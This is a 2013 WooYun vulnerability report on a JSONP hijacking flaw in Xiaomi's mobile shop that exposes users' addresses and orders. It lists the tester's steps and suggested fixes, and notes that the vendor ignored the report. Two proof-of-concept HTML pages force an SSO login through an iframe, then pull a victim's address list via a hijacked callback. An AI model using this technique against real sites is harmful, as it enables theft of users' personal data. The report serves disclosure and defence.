当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-023149

漏洞标题:小米js hijacking可获取用户地址、订单信息等(手机通信API挖掘技巧)

相关厂商:小米科技

漏洞作者: blue

提交时间:2013-05-06 11:31

修复时间:2013-05-11 11:32

公开时间:2013-05-11 11:32

漏洞类型:敏感信息泄露

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-05-06: 细节已通知厂商并且等待厂商处理中
2013-05-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

一应用里的获取数据方式都是jsonp,callback了自然就能获取了。

详细说明:

小米商城手机客户端实际上是一个内置浏览器加载的m.xiaomi.com,而用户的地址、订单等数据则存在于app.shopapi.xiaomi.com,估计是为了跨域,使用了jsonp方式,导致可js劫持获取用户数据。
测试过程:
1.打开Burp,开启代理
2.手机设置上网代理,看http请求,然后就看到一一连串的callback请求
3.到了2这一步,只是m.xiaomi.com下可以js劫持,www.xiaomi.com和其它域名咋办呐?
4.发现m.xiaomi.com使用的登录接口是https://account.xiaomi.com/pass/serviceLogin?callback=...&sid=eshopmobile,重点是eshopmobile(eshopmobile时会去app.shopapi.xiaomi.com同步登录一下),而网页版的为eshop
5.通过4分析,在用户登录的情况下诱使用户访问一次https://account.xiaomi.com/pass/serviceLogin?callback=...&sid=eshopmobile,主域名和其它域名也能js劫持了。
6.上劫持用户地址列表的脚本:
xiaomi.html

<iframe src="https://account.xiaomi.com/pass/serviceLogin?callback=http%3A%2F%2Fapp.shopapi.xiaomi.com%2Fv1%2Fauthorize%2Fsso_callback%3Ffollowup%3Dhttp%253A%252F%252Fm.xiaomi.com%252Findex.html%2523ac%253Daccount%2526op%253Dindex%26sign%3DMjIzYzEwMzEzODg1NmI0ZGI2OGViZDljOGRlNjZmOTExYjE1NDBlNw%2C%2C&sid=eshopmobile"></iframe> <!--里面的sign做验证用,每次登录都不一样,不影响劫持-->
<script>
setTimeout(function(){ location.href='xiaomi2.html'; },3000);
</script>


xiaomi2.html

<script>
function getall(o){
var data=o.data;
alert(data[0].consignee+' '+data[0].tel);
}
</script>
<script src="http://app.shopapi.xiaomi.com/v1/address/list?callback=getall&client_id=180100031013&_=1367750497612"></script>

漏洞证明:

1.png


2.png

修复方案:

1.可以纯json返回,header头里p3p一下方式跨域
2.非要jsonp的话,判断Referer+UserAgent吧~

版权声明:转载请注明来源 blue@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-05-11 11:32

厂商回复:

最新状态:

暂无